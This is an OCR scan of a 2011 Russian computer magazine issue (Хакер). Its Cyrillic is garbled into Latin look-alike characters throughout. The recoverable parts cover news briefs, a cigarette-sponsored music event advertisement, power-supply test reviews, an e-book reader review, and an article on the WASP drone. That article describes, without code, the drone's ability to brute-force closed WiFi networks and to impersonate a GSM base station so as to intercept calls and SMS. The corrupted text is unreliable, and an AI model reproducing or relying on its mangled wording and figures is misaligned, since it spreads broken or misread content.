apBokaTtoB HBGary, BkoTopoM coobLianoch, 4T0 OHW HaMepeHbl
nonyyYnTh cynebHbIVi 3anpeTHa eroBoicTynneHne. Butore bapp
HeyyacTBoBan B3annaHuposaHHoi nanenn «Whoever fights
monsters: confronting Aaron Barr, Anonymous and ourselves»
nauckyccuio o LulzSec’e, Anonymous'e, aTakxe 06 0THOLLEHWM
aMepUKaHCKUX BOEHHbIX K KMBepBOHE TONbKO CRyLuas.

YCNELWHOrOUKU3BECTHOI O

XaKepa-caMoy4Ky HaHsna Ha
paboTy KoMnaHug Samsung.
Ctus «Cyanogen» KoHpuk
M3BeCTeHKakK co3faTenb npo-
wueku CyanogenMod.

OOULUAJIBHAA BUO-
FPA®USA rnasbi Apple CtuBa
LxobcaBbliiaeT paHblue,
4yeMNNaHUpoBanoch, —
BHos6pe 2011 r. Knura
nony4nT HasBaHue «Steve
Jobs: ABiography».

XAKEP 10/153/2011
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XAKEPCKWM BECMNJIOTHUK

KAKMOCTPOUTb APOHUCEr0 NOMOLLbIO B3JIOMATb TO,
YTOHEAOCTYNHO C3EMJIN

npeAcTaBunv BTopyto Bepcuio becnunotHoro annapata Wireless Aerial

Surveillance Platform (6ecnpoBogHoi nnatdopMbl Bo3ayLHoro Haboge-
HUs). HamoMHUM, 4TO MX NepBbINA APOH, 0 KOTOPOM Mbl UCANN rod Ha3aa, MorobneTtats
TEppPUTOPMIO N0 33, aHHOMY MapLLpyTy 1 cobupaTb nHGopmaumio o WiFi-ceTsax. 3a
ocHoByToraa beinasastamonens Mul-23, k kotopoii fobasunu komn Via Epia Pico ITX
PC (500 My ViaC7,1T6 RAM c Backtrack 4 Ha 6opTy) v Hanagunu cuctemy asToma-
Tuyeckoro nunotuposanus ArduPilot. Cuctema nopiepxxviBana cBsidb C HA3eMHOMN
0a30BoVi CTaHLWel B pexnMe peasbHoro BpeMeHun nocpeactsoM PPP-over-SSH-
ToHHens. CoBTopov Bepcuit becnunoTHuka Taccu u MepkuHc 3awnun fanslue. Base3a
OCHOBY 0CTaTKM BOEHHOr0 6€CMUNOTHOr0 caMoieTa, OHV MOCTPOMIN MOJeNb BECOM
14 byHTOB (6,35 Kr) 1 nuHoM B 6 dyTOB (183 cM). Ee ocHacTunm Via Epia PX5000EG Pico
ITXPC(500MTryViaC7, 176 RAM), HoTenepbyxe nogynpasnequem Linux BackTrack 5.
Tak)xe B KOMNeKTe BTOPO/ BEpCUM BOLLA MporpamMMa Ans bpyTdopca co ciioBapem
8340 MnH cnos. Bnarogaps atoMmy WASP ctancnocobeH He TONbKO MCM0b30BaTH OT-
KPbITble XOTCMOTbI, HO U BbIMOHATH PAA AeACTBUM N8 B3/1oMa 3akpbITbix WiFi-ceTel.
[lpoH cBA3bIBaETCA CO CTaHUMed nocpecTBOM 4G-A0HINa, MTa, B CBOK 04epeab,
0CYyLLeCTBNAET KOHTPOb Haj MoJenblo npu nomowmn Google Earth notkpbitoro M0
nnsasTonunoTa. Taxke basoBas cTaHLWsA cobupaeT faHHble, NOJyYeHHble 0T LPOHa,
nyepe3VPN nepeHanpaBnseTux Ha cepBep, KoTopbli cnocobeH obpaboTtaTth bonee
CJIOXHbI€ laHHbIE M 0CYLLLeCTBUTb 60Eee CII0XKHbIE BbIYNCEHNS. BeCMUNOTHUK Takxe
Hayuuscsa paboTaTb BkayecTBe MobunbHo GSM-cTaHunn. CoBeplieHHo He3a-
MeTHO N1 aboHeHTa oH cnocobeH NPUHATL Ha cebs GSM-coeanHeHMe U C NOMOLLbIO
4G Mopynsa nepeHanpasutberono VolP. Takum obpa3om, 3BoHoK He 06opBeTCcs M ero
CTaHeTBO3MOXHO 3anucaTb. PasroBopbl 1 SMS duKcupyloTcs BO BCTPOEHHOM NaMsaTht
annapaTa, yehobbem paBeH 3216.

HeManoBaxHbIi pakT—camoneT paboTaeT 0T 3a1eKTPUUECKOTO ABUraTENS, TaK
4TOYC/bILIATH €10 MOYTU HEBO3MOXKHO y)Ke Ha paccTosiHuM nopsgka 15 M. U xoTs npa-
Buna PefepanbHOroaBnaLMOHHOTO areHTCTBa 3anpeLlaloT NoeThl TaKMXYCTPOMCTB
HaBblicoTe 6onee 400 gpyTos (122 M), fpoH, nocTpoeHHbIn Taceu u MepKUHCOM, MOXeT
noAHMWMaTbCs Ha BbicoTy 6oee 20000 dyTos (6096 m).

[pUMeHNTb TaKo annapaT MOXXHO 04eHb MO-pa3HOMY: Bo 61aro u He o4eHsb. Tak,
oHcnocobeH OCyLLEeCTBASTH ONepaL My Mo NacCUBHOMY MPOCAYLLMBaHUIO 6ecnpoBo-
HbIX CETE 1 NX B3JTOMY, CMYGUHTY COTOBbIX BblLLUEK, CIeANTh 33 COTOBbIMU Teneho-
HaMunnepexBaTbiBaTb TeNepOHHbIE Pa3roBopbl, 3IKCHUALTPUPOBaATL AaHHbIE NN
NpoCTo OCYLeCTBAATL BUAeOHabnofeHNe.

OduumManbHbI caiiT npoekTa No-nNpexXHeMy HaxoAMTCcs No aapecy rabbit-hole.org.
TaMTbl HalAelwb MHOXeCTBO GoTorpaduit, Buaeo, npesentauummc Black Hat 2011 u
DEFCON 19, aTak>e noapobHbii pa3fies1 0 TOM, Kak cobpaTb TaKyo e LUTYKOBUHY CBOV-
MU pykamu. o cnosam [epkiuHca, «4Tobbl CO3AaTh TaKylo MOAESIb, He HY)KHa Hay4YHas
cTeneHb». KpoMe TOro, BCce KOMMIEKTYoL e M 4eTann MOXHO cBobogHo npuobpectn s
MarasuHe.

m akoHopepeHunmn BlackHatuccneposatenn Maiik Taccu n Puyapp lMepkunc

HanocTpoiiky, Tectup nyc T 3Toro patay
MepkuHcau Taccuywno 1300 yacos. IJ,eHe)KHble BNOXEHWSA pa3paboTymKoB
6bINM He TaK BENIMKM, KaK MOXHO NoAYyMaTb: OHU cocTaBunun 6190 gonnapos

XSOUND OTWINSTON XS knybacMoAHbIM LU3aNHOM M MHTEPAKTUBHBIM
3tuM netoM WinstonXS npepctaBun akckto- KOHTEeHTOM, pacnonaranuch chillout-3oHa, 6ap-
3uBHYylo naowaaky XSoundBar HanereH- Hasi CTOWKa CHe06bIYHbIM KOKTENJIbHBIM MEHIO U
napHoM 6puTaHcKkoM openair-decTuBane MHHOBaLUWOHHOE npocTpaHcTBo 3D-mapping, rae
Winston Global Gathering Freedom Music, KaXXAblii Mor nonpo6oBaTtb cebsiB ponn DVJ.
KoTopbli cocTosincs 16 uona 2011 roganop MocneoctaHoBkn Ha Winston Global Gathering
CaHkT-MeTepbyproM. bonee 30 000 yenoBek Freedom MusicBeyepuHku XSound Bo3BpalyaioTcs
cobpanucb Ha fjaHHoe MeponpuATHe, 4TOObI HaTaHLNObI IYYLIMX POCCUIACKUX KNYy6oB. BHOBOM
YCAbIWATb CeThbl OT NYYIIUX AU KEEB MUpPa. kny6HoM cesoHe XSound npeAcTaBUTKMNOBaTThI
XSoundBar Haxopuics B CaMOM 3NULLEHTPe aKTyanbHON My3blKU M BbICTYNJIEHNA TONOBbIX
decTuBans. BHyTpu aByX3TaXHOro 06bekTa, apTUCTOB W AU KEEB, 32 PaCNMCAHUEM KOTOPbIX
BbINOJIHEHHOT 0 B 3CTETUKE HACTOSALLEr0 HOYHOTO MOXHO CNepuTh Ha caifTe www.winstonxs.ru.

MMH3.D,PABCOL|,PA3BMTM5I POCCUU NMPEQYNPEXAET:
KYPEHME BPEAWUT BALLEMY 3[JOPOBbIO
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AnekceitlopbyHoB

NMUTAUTECH
[MPABUJIBHO!

TECTUPOBAHWE BJIOKOB NN TAHWNA
CTAHOAPTAB0PLUS GOLD

Y70 Hy>XHO .15 COOPKM MPOLBMHYTOrO MTPOBOI0 KOMMbloTepa? KayecTBeHHas MaTe-
PUHCKas NiaTa, CoBPEMeHHbIV npoLeccop, nobosibLue NamMaTi, BUAeOKapTa NOMOLLHEE,
BbICTPbIN M BMECTUTESBHBI XKECTKNIA ANCK? HECOMHEHHO, BCE 3TO JO/MKHO ObITb ynako-
BAHO B KPaCWBbIN M MPOCTOPHbIN Kopryc. Ho BaXHO He 3abbiBaTb, YTO FMaBHENLLNIA KOM-
NOHeHT byayLen cucTeMbl — 3T0 BNOK NUTaHKA. IMeHHO oH byaeT cHabxaTb sHeprueit
TBOEr0 MIPOBOr0 «MOHCTPa». MoLLHbIE KOHPUTYpaLMK OTANYAKOTCS MOBbILLEHHbIMU
TpeboBaHMAMM K MUTaHMI0, 0COBEHHO 3TO KacaeTCs MPOXXOPJIMBbLIX BULEOKAPT, @ TaKXe
cBsi30k SLIn CrossFireX. OTciopa BbiBoA: noaxoanTh K Beibopy BITHago c ymom.

METOONKATECTUPOBAHUA
BcencnbiTyeMble 610K MMTaHMA NPOLIAN TECThI HA
cteHpe D-RAM DBS-2200 ot koMnaHuu FSP. KoH-
CTPYKTMBHO OH COCTOMT 13 KONIOZ0K C pasbeMamy,
Kyfanopkntoyatotca kabenu ot BI1, HarpysoyHoro
610Ka, 0XN1aXKAaeMOro NPy MOMOLLW BEHTUISTOPOB,
nepekioyaTenei 4 BbICTaBAEHWUS CUIbI TOKA MO
OCHOBHbIM JIMHUAM VM MaHeN N MHAVNKALMN Hanpsxe-
Hus. [p NOMOLLM LAHHOTO CTEH/Ja MOXKHO Harpy3uThb
60K NUTaHMA MoLLLHOCThIo 10 850 BT.
TecTblNpoBOAMANCH NO CllEeAYIOLLE CXeMe.
MepekntoyatensMunycTaHaBanBaeM ans MHNA +12V
notpebnsemyto MowHocTb, pasHyto 100 BT. [lanee
nocfiefjoBaTe/IbHO NOBbILIAEM Harpy3Ky Ha JIMHNAX
+3,3Vun+5Vcwarom20BT. HanaHenu nHankaumm

016

HabnofaeM peasnbHble 3HaYEHWS HanNpPSXKeHUA Mo Nn-
HUSAIM, KOTOPbIE W 3anucbiBaeM. 3aTeMyBeMYBaEM
noTpebnsemyto MoLHOCTb Ha InHMAX +12V 10200 BTu
noBTOpsieM NpoLecc3aHoBo. [pefenamy orpaHnye-
HWUI ABNAIOTCA 3HAYEHWUSA MaKCUMaNbHOM KOMBUHUPO-
BAHHOW Harpy3Kuy KaX4oro n3 610koB NUTaHms.
Pe3ynbTaTbl MCMbITAHNA—3TO NPOLLEHTHbIE OTKIO-
HeHMWS HaNpPsHKEeHUS N0 KaXK A0 U3 0CHOBHbIX TMHWIA:
+3,3V,+5V, +12V. YeM MeHbLLe pa3HuL,a MeXAy
3aMepeHHbIM M MAeasbHbIM 3HAYEHUSAMU HaNpsKe-
HWS, TeM NyyLLe: 3HaYuT, 6ok nuTaHus 3G eKTUBHO
pacnpefenseTHarpy3ky v He npocefaeTt. Takxe oue-
HWBANCh: KOMMEKT NOCTaBKM, OCHaLLeHWe TeMun
WJIM MHBIMU pa3beMaMu 415 NOAKJIIOYEHUS, YPOBEHb
LyMa 1 Harpes Kopnyca 61oka nuTanHus.

X

Cooler Master SilentPro Gold 700W
Corsair Professional Series Gold AX750
ENERMAXMODU87+800W
FSPAURUMGOLD 600
FSPAURUMGOLD 700

Thermaltake Toughpower Grand 750W
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MuTanTecb npaBuabHO!

COOLERMASTERSILENT
PROGOLD700W

aynHaeM c 6noka nutaHus Silent Pro Gold 700W oT koMnaHuu

Cooler Master.[puHagnexHocTb K3010TOMY cepTUdUKaTy

80 PLUS.Bnok nuTaHWs MOAYAbHbINA M OCHALLEH BCTPOEHHbIM
XBOCTOM U3 NPOBOJ0B C pazbeMaMu 20+4-MUH [ MaTePUHCKOM NaaThl,
4+4-nVH ANs Npoleccopau 6-nuH ANs BUAeoKapTbl. KoMnaekT nocTaBku
BKJIOYAeTBCe 0CTallbHble Kabenu 4Na NMTaHUsa KOMNOHEHTOB CUCTEMbI,
yNakoBaHHbIe BaKKYPaTHbI 4eX0S, HECKOBKO CTSKEK-TMMYYeK A5 Npo-
BOJ0B, KPEMEXHbIE BUHTbI, MHCTPYKLMIO U JEKOPATUBHYIO HAKNENKY.
MouwHocTb Silent Pro Gold 700W cocTasnaet 700 BT, 3aa9B1eHHbI MaKcKu-
MafibHbIA TOK M0 IMHWUKM +12V MoxeT gocTuratb 56 A (672 BT). Oxnaxpaetcs
6nok nuTaHus npunomotun 120 MM BEHTUASTOPA CaBTOMATUYECKUM yNpaB-
neHneM. Mo pesynsratamucneitannii Silent Pro Gold 700W npogeMoHcTpu-
pOBas NOJIHYO CTabUNBHOCTH BO BCEX PEXMUMAX HArpy3KHu.

MaKcvManbHble 0TKIOHEHWS MoKa3aTenen no nuHum +3,3V gocturan
nuwb 1%, anokananam+12Vu +5Vynoxunuce 8 2%. Bce Bpemsi, noka wim
TeCTbl, LWYM 0T BEHTUAATOPa 6J10Ka NUTaHUA 0CTaBasCA YMePEHHbIM, laxe
Hn3kuM. CaM BIMHa owynb Obin Yy TbTENALIM, U He bonee Toro.

MASRANTY w0 W My

CORSAIRPROFESSIONAL
SERIES GOLDAX750

rofessional Series Gold AX750 HeckonbKo BbibuBaeTCs U3 Hallei
napoCHON KOMNAHUM CBOUM CTPOTUM, aCKETUYHBIM BULOM. ITOT
610K NNTaHUS MHTEPECEH NPEX/E BCEMO TEM, YTO OH MONHOCTbIO
MOAY/IbHbIW: MPOBO0B 13 HEFO HE BEIXOAWT BOODLLE HUKAKWMX, TONIbKO pa3b-
eMmbl. AX750 naeT B KoMnekTe c HabopoM kabeneil (3a60TNMBO YKy TaHHbIX
B YEXOJ1 Ha INMYYKE), UHCTPYKLMEN, BUHTUKaMU U CTAKKaMU 715 TPOBOAOB.
YacTbkabeneit (SATAn Molex) caenaHa nnockuMm, Kak ny npegblayLiero
BMotCooler Master. Bnpouecce nogknioyeHns kabenei Mbl CTONKHYNCH
cnpobneMoii—nosiHoe 0TCYTCTBUE KaKUX-NMbo nofnuceit Kk pasbemMam

Ha kopnyce BlMTunn xoTs 66l LBeTOBOro ux pasgeneHns. AX750 cnocobeH
BblAaTh 750 BT MowHocTM nTeopeTuyeckm obecneunts Tok B 62 A (744 BT)
nonuHun +12V. Coxnaxaernuem agecb cnpasnsetcs 120 MM BeHTUASTOP.
Pesynbtathli TecToB AX750 roBopsiT caMu 3a cebsi— nokasaTesiv OT/IMYHbIE.
OTknoHeHns Bnpefenax 2% noBCeM ANHUAM.

Bentunatop AX750 He BpawaeTcs, noka 3arpyska bl coctasnser
MeHblue 20%, npu Harpy3ske o120 10 50% oH paboTaeT B TMXOM pexume
nTonbko 6nvxe k 100% HauMHaeT packpyymBaTbCS, HO YCAbILIATL €ro
npobnemMaTnyHo.

BEHTUNATOP BOOBLLE HE
BPALLLAETCH, MOKA 3ATPY3KABI
COCTABNAET MEHbLLUE 20%

XAKEP 10/153/2011
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ENERMAXMODU87+800W

0DU87+800W—opguH 3 nyywmnx bnokos nutanns ENERMAX. Kopnyc

BbINOJIHEH U3 LLEPOX0BATOro MeTasnnan 060pyf0BaH BEHTUAATO-

POM C «30/10TbIMU» lonacTsaMu. Mofienb, pasyMeeTcs, MOAY/IbHaS.
KoMmnnekTauus obbeMHas: MHCTPYKLUS, Kabenn u CyMouKa K HUM, KpenexHble
BUHTbI, XOMYTbl Ha IMMYYKe, CTUKEP, @ TAKXKE MHTepeCcHas WTyKa nojHa3BaHueM
CordGuard, koTopasi 3akpenniseTcs CHapyxv bioka nUTaHus 1 3aLlenkuBaeTcs
Ha ceTeBOM LUHYpe, yAepXu1Bas ero ot BbinageHns uspasvema bM.Y MODU87+
800W B Hannuum 4 BupTyanbHbix nuHUKM +12V, no 30 AHa Kax Ay, Npu 3ToM
CyMMapHas HarpyskanoHuMm 3assneHa B 792 BT. MepeiigeMk TecTaM. 3gecb Bce
3aMevaTesibHO: 0TKNIOHeHUs B 1-2%, nHe bonee Toro. OTAenbHO 06paTuM BHU-
MaHwue Hanmoka3saTtenu nnHun +12V, koTopble 60bLLYI0 YaCTb BpEMEHM 0CTAIOTCS
1 BOBCe uAeanbHbIMU. [pU oLLeHKe YPOBHS LWYMa UCKIIOYUTENBHO MOJOXKUTENb-
Hble BNeyaTneHus ocTanunck ot 140 MM BeHTUNATOPA, KOTOPLIV paboTaeT TUXO
nappekTBHO. OTMETUM, YTO NOCNE BBIKSTIOYEHNS CUCTEMbI BEHTUATOP eLle
Kakoe-To BpeMsi paboTaeT, orpaxas KoMnoHeHTbl BIToTpeskoronepenaga
TemnepaTyp.

FSPAURUMGOLD 600

NIOKNUTaHUAYyNakoBaH BYEpPHY C30J10TOM KOpO6Ky, CaMOH
OCI)OpMJ'IEH BTOMXe LIBETOBOM CTUJIE. KoMnnekTnocTaBKM COCTOUT
MU3INHCTPYKLMU, CETEBOr0 LUHYPa, CTAXKEK 419 NPOBOLOB, Kpenex-

HbIX BUHTOB fla HakNelku FSP. MpuMeyaTenbHbl CKpoMHble rabapuTbl BI:
BJIVHY OH flocTuraeT Bcero nnib 150 MM 1 lerko noMell,aeTcsi B CTaH-
LlapTHOM Kopryce, HUKoMy He MeLluas. MowwHocTe FSPAURUM GOLD 600,
Kak BUAHO M3 Ha3BaHus, paBHa 600 BT, 3asiBnenHbivt KM nocturaet 90 %,
ytocooTBeTcTByeTcepTudnkaTy 80 PLUS Gold. Kaxpaas ns 4 BupTyanbHbix
nnHnin+12Vobecneymsaettok o 18 A.

Mo pe3ynbTaTaMTecToB 610K NUTaHWA NOKa3an cebs Ha 4OCTONHOM
ypoBHe. C 0HO CTOPOHbI, OTKJIOHEHWSA MO INHUAM Y Hero bonee fiBHbIe, He-
XKeNINYy 0CTabHbIX UCMbITYeMblX, 0CObeHHO Mo kaHany +5V, rae oHn goxonaTt
10 4%. C pyroii—BCe 3HaYeHWSA YK1afiblBAlOTCS B ONYCTUMbIE PaMKU.
Yero, npaBAa, He ckaxellb 06 ypoBHe WyMa. [pu cunbHOM 3arpy3Kke ryn
BEHTUNIATOPa 0TYETANBO C/lblLIeH. 3aTO TeMN0BbIe MoKa3aTeNn B HopMe,

neperpesaHe Habntoganock.

TEXHUYECKUE g?lglnetrpl:zsﬁt:lz Corsair Professional ENERMAX
XAPAKTEPUCTUKHU 700W SeriesGold AX750 MODU87+800W
MowHocTb: 700BT 750BT 800BT

3aaBneHubin KNA: Hemeree 90% Hemeree 90% 1093%

KonuyectBo nuHmin +12V eAnHas nnHus eIMHas NIMHNA 4

MakcuManbHbie TOKU N0 IMHUAM

MakcuManbHasi KOMOMHMPOBaHHaA HarpysKa

+3,3V-22A, +5V-25A, +12V-56A,
-12V-0,3A,+5Vsb-3,5A
+3,3V& +5V-150 BT, +12V-672B1

+3,3V-25A,+5V-25A, +12V-62A,
-12V-0,5A,+5Vsh-3A
+3,3V&+5V-125BT, +12V-744 BT

+3,3V-24A,+5V-24A,+12V1-V4-30A,
-12V-0,5A,+5Vsb-3A
+3,3V&+bV-120BT, +12V1...

& +12V4-792B1

TunPFC aKTUBHbIN aKTUBHBIN aKTUBHbI

Oxnaxpenue BeHTUNATOP 120 MM seHTUNATOP 120 MM BeHTUnATOp 140 MM

Tabaputbl 160x150x86 MM 160x150x86 MM 175x150x 86 MM

Bec 3,3kr 3,3kr 2,9kr
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MuTanTecb npaBuabHO!

FSPAURUMGOLD700

asHuuamexgy AURUMGOLD 700 v npepbiayuiei Mogensto FSP us

HaLLMX TEeCTOB MUHMMaNbHa W 3aKJ04aeTCH B MOLLHOCTH, Yucne

pasbeMoB AN NOLKIIOYEHNSA YCTPONCTB, HY U B LiEHE, pa3yMeeTcs.
BocTansHOM oHUM bpaTbsa-6113HeLbl 4TO N0 BHELLHEMY BUAY, 4TO MO pa3Me-
paM (aBe caMble KOMNaKTHbIE MOAEU B HALLEM TECTE), 4TO M0 COAEPKUMOMY
30/10TUCTO-YepHol ynakoBkn. AURUM GOLD 700 — 6ok nuTaHus cTaHAapTHO-
roTVNa C BO3MOXHOCTbIO MOAKIOYEHUS Napbl BUAEOKAPT C MUTaHUEM MO fBYM
pasbemaM 6+2 pin, CeMUYCTPONCTB C KOHHEKTOpPOM SATA nyeTbipex ¢ Molex,
onHoro FDD. 3aasneHHas MowHocTs BIMT—700 BT, Tokn no nnnmam +12V e
Xe, 4Tonymnagwer mogenu, — 18, 3atono nuumsam +3,3Vun+5VoHu Bbiwe n
pocturatot 28 A. 3a oxnaxaeHvie oreevaet 120 MM BeHTUNATOP HA TMAPOANHA-
MuyeckoM nogwmnuuke. Tectsl AURUM GOLD 700 npolenyBepeHHo, noka3as
4yTbNyyLne pe3ynbTaThl, HeXenu ero MnagLmnin cobpat. OTKNOHeHUs He
bonee3%—BceBnpeaenaxHopMbl. To e caMOe MOXHO CKa3aTb 1 NPO Harpes:
Tennbii kopnyc Bl npn MakcuManbHoi Harpyske —aTto xopoluo. [lpyroe feno,
KaKOW LLeHOW 3T AaeTCs: BEHTUIATOP BCE-TaKU LUYMHOBAT.

THERMALTAKE
TOUGHPOWER GRAND 750W

hermlatake Toughpower Grand 750W ynakoBaH B MaTOBbI/ YepHbli
KOpMycC Canoi KakMom, NPOXoAsLLE No NepuMeTpy b10Ka, — CKPOMHO
nunsawHo. MorabaputaMmato camblii bonbwoi b3 Hawmx ncnbiTye-
Mbix—ax 180 MM anuHbl! Komnnektauusy Toughpower Grand 750W, noxany#,
caMas boraTtas: bapxaTHasi CyMouKa, BKOTOpoi HaxoaunTcs cam BIT; Mewoyek
4yTb MOMEHbLUE — A aKCeccyapoB; CYMKa Ha IMnyyke — AJis NpoBoJ0B; kabe-
NN, CTSXKKU-NMNYYKMN B JOCTATKe, NNaCTUKOBbIE 3a)KUMbl B KONMYECTBE 4 LUTYK,
MHCTPYKLNSA, BUHTWUKM, a TaKXKe Pe3MHOBbIe HaK1aAKW Ha 3aaHi0t0 cTeHky Bl
Toughpower Grand 750W—Mogenb ¢ MOAYNbHBIM NOAKOYeHUEM. 3asBNEH-
HasMowHocTb— 750 BT, TeopeTuyecknin Nk no eanHON nnHum +12V—720 BT.
OcTyxaeT Bl 140-MunAMMeTpOBbIA BEHTUNATOP Ha iBYX LLIAPUKOBbIX MOALLINM-
HUKaX v co cierkanaMeHeHHo popMoii nonactent, bnarogaps yemy obellaHo
CHWXeHMe ypoBHs WyMa. [lonToraMm TecToB BLIACHWUIOCH, YTO 0beljaHne bbino
BbiNosHeHo: paboTaeT Toughpower Grand 750W Tuie Bofibl, HUXe TpaBbl,
0CTaBasnCb YyTbTenbiM. [lokazaTenn—oTANYHbIE, OTKNOHEHNS He bonee 2% B
Nto60M 13 peX1MOB, a No IMHUK +5V —TaK M BOBCE UL eabHbIe.

JIYHLWWE N3 PABHbBIX
FSPAURUM FSPAURUM Jiiinattake Mo coBokynHocT NapaMeTpoB iyylwas Mogenb—31o ENERMAX
GOLD 600 GOLD700 JRiohpower .
Grand 750W MODU87+800W. B erononb3y roBopsaT OTAUYHbIA KOMNIEKT M0-
CTaBKM, BbICOKMIA 3aMac Mo MOLLHOCTH, POCChINb Pa3beMoB 415
4008+ 70087 75087 MOAKIIK0HEHNS, BENUKONENHbIE Pe3yNbTaTbI VICI'IbI'[aHVIDIVITI/IXaﬂ
90% 90% £092% paborta.[lpaBaa, CTONT OH KaK CKpOMHBIA 0pucHbIN MK, nankop-
4 4 efiHas IMHUA nycanotpebyeTHeManeHbKoro, HOTYTYXX HAYero He nofenath.
+3,3V-24A,+5V-24A,+12V1-V4-18A, +3,3V-28A,+5V-28A,+12V1-V4-18A, +3,3V-25A,+5V-25A, +12V-60A, _
-12V-0,5A,+5Vsb-3.5A 1V-0,5A,45Vsb-3,5A -12V-0,8A,45Vsb-3A Takue Mofe/Ivi—yAen SHTY3MaCTOB, y KOTOPbIX M C ACHbraM M, U
+3,3V & +5V-140 BT, +12V1... +3,3V & +5V-160 BT, +12V1... +3,3V & +5V- 150 BT, CROpOrMMY KOprycamu Bce B nopaake. Ecnvike bioaxetHe no-
&+12V4-540 BT &+12V4-672B1 +12V-720B7 3B0N19€T HObLIMXTPAT, HO €CTb NOTPEBHOCTL B KayecTBeHHOM Bl
aKTmBHs AKTUBHIM aKTmsHsI 80PLUS Gold, TocTonT 06paTnTh BHUMaHME Ha
BeHTUNATOP 120 MM BeHTUAATOp 120 MM BeHTUNATOP 140 MM ccepTrdukaTom ' P
150 140x86 MM 150x 140x 86 MM 180x 150x86 MM FSPFSPAURUM GOLD 700. MoaynbHOCTU HET, 3aTO CTb YeCTHble
1,9«r 1,9kr 2,5kr

700 BT, BbINONHEHWE BCEX 3aaHHbIX HOPMATUBOB MO HAMpPsXKeHN-
SIM, KOMMNaKTHble pa3Mepbl M 04eHb NPUSTHAS LieHa. 3T
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AnekcaHap Muxees

02.00
K r.'nu

3kpaH: 5 ptoitmos, 800x 480 Tovek,
CeHcopHbIN, LBeTHOI, LED-noacBeTka
BcTpoeHHas naMaTb: 416
KapTbinamatu: o326 microSD
®opmartbiTekcTa: TXT, PDB, HTML,
PDF,FB2,EPUB

®opmatbi My3biku: MP3, WMA, FLAC, AAC
®opmartbiuzobpaxennii: JPEG, BMP, GIF
®opmatbiBugeo: WMV, RM, AVI, RMVB,
3GP, FLV, MP4, DAT, VOB, MPG, MPEG,
MKV, MOV

WnTepoeiicbi: USB 2.0, audio-out
fononnutenbHo: FM-paauo, ankTodoH,
akcenepomeTp

Tabaputbi: 148x90x 11 MM

Bec:285r

KomnnekTtaums: ctunyc,
kabenbmini-USB>USB, uHcTpykuus

020

HUTA

X

IJTEKTPOHHAA KHUTA
WEXLER.BOOK T2002

A3BJIEYEHUW

C KaXA4bIM rof,0oM KOJIMYECTBO KAPMaHHbIX M HE COBCEM YCTPOMUCTB, CNOCOOHbIX
pa3Bieyb Yesl0BeKa B LOPOre, pacTeT NPSIMO Ha rna3ax. A Befb Koraa-To ¢ cobon
Opanu passe 4To 0ObIYHYO BYMaXKHYI0 KHUTY UK KaKoM-HMBYAb «TeTpUC» aa Kac-
ceTHbIM nneep. Tenepb TexXHWKa WarHyna fanbLue: B oe3aKe Bbl MOXETE UMETb
MO PYKOM XOTb ThICAYY KHUT, HECKOJIbKO COTEH YacoB My3blkn, FM-paguo, kakune-
HWMOYAb HE3aMbICI0BATbIE UTPbl U HECKObKO KMHOPUIIBMOB — M BCE 3TO B OAHOM
ycTponcTae. Bce BbiluenepeyncneHHble BO3MOXHOCTM OTHOCATCS U K HOBUHKE
WEXLER.BOOKT5002, o koTopo¥ cerofHs 1 nonaeT pasrosop.

BOJILLEBCTBO B KAPMAHE
NhxeHepamnz WEXLERynanocbBonnotTnTh B XXM3Hb
0YeHb MHTEPECHYH 3alyMKY — MHOIOL,eIeBOM «KOM-
6aliH» nnpakTuyeckn gapoM. HooboBcemnonopsag-
Ky. Tak Ha3blBaeMas 31eKTPOHHAS KHITa BHELLHE Bbl-
rNAANT Kak M MHOTUe ee cobpaTbs. Kopnyc cienaH s
NAacTMKa, Ha HeM PacnosIoKeHbl BCEro TPU KHOMKW.
Oncnnern WEXLER.BOOK T5002 He ToNIbKO LiBETHOWA,
HO W CEHCOPHBbIA. Hanuuo 6onblioe npenMyLLecTso
nepef «4nTasKaMmn» Ha 0CHoBe e-ink: BO3MOXHOCTb
cMoTpeTb doTorpadum v faxe BUAEO B HEMOXOM
kayecTse. OfHaKo CKa3blBaeTCs LieHa yCTpoMCTBa:
1306paxeHune HECKOJBbKO «LLyMHOBaTO». OKynaeTcs
370 60NbLUNM YUCIOM MOSAEepPXKBaeMbIX GopMaToB
BU[E0, KOTOPbIE MOXHO CMOTPeTb 6e3 npeaBapu-
TeNIbHOr0 KOHBEPTUPOBaHUS. TakKe K MynbTUMEe Ui~
HbIM BO3MOXHOCTSIM OTHOCUTCS Hannune FM-pagmno
nnneepa.llocnegHnit nofaepXnBaeT He TONIbKO
LIMpoKo ncnosb3yemsli opmat MP3, Ho v faxe
FLACwuACC. KoHeyHo, My3blK1 1 BUAEO bbinio bbl Tec-
HOBaTO Ha BCTPOEHHOM namaTy (4 6], Ho ee MOXKHO
paclnpuTb 3a cyeTKapToyku microSD.

KHUIACAKCEJIEPOMETPOM

EcTb 1 MeHee 3aMeTHbIe, HO BCE paBHO MoNIE3HbIE B
noBceAHEBHOW XU3HU GYHKLMN. KHUM Mbl 0OTHECTN
OUKTODOH, KOTOPbIA HET-HET a M MPUrOANTCS
oAHaxAbl. BIOKHOT A5 pa3nnNyHbIX 3aMeTOK,
KaneHAapb-exXeLHEBHWUK, CEKYHLOMEP U, HAaKoHeL,
kanbkynatop. Bcnyyae, ecnmKHUMN U GUAbMBI
3aKOHYaTCs paHbLLe, Y4eM oYepeb, B KOTOPOi BaM
He MocYaCTAUBMUIIOCH CTOSATh, TO HA MOMOLLb NPUAYT
He3aMblC/10BaTble BCTPOEHHble Urpylwku. OfgHa n3
HWX—3HaKoMbI BCeM

«CAMEP»

YnpaBneHue KHUro npolle Hekyaa: «paboymnii cton»
npefoCTaBNAeT AOCTYN CPa3y Ko BCEM BO3MOXHbIM
bYHKLMSAM, NO3TOMY NOTEPATL YTO-TO B rNy6uHax
MeHI0 HeBO3MOXHO. ELlle 6onee KOMPOpPTHBIM
ncnonb3zosaHne WEXLER.BOOKT5002 nenaet
akcenepomeTp, N03BONSAOLIMA aBTOMATUYECKH
nepeBopaynBaTb n306paxKeHune B HYKHYI0 CTOPOHY.
CeHCOpHbIN fnUCNNel 4OBOBHO OT3bIBYMBbINA, HO
KynaynobHee ynpaBasiTbyCTPOACTBOM C MOMOLLbIO
MAYLLErO B KOMMIEKTE CTUAYCA, YEM NabLaMy.
NHTepdeiicoB TonbKo ABa: mini-USB v BbIX0A AN
HayLWHWKOB.

BbIBObl

WEXLER.BOOK T5002 13 pa3psipaycTpoicTs,
TOYHYIO NPUHALNEKHOCTH KOTOPbIX K TOMY AN MHOMY
Kflaccy onpeAenuTb TpyAHO. BeAb3To U «unTanka», n
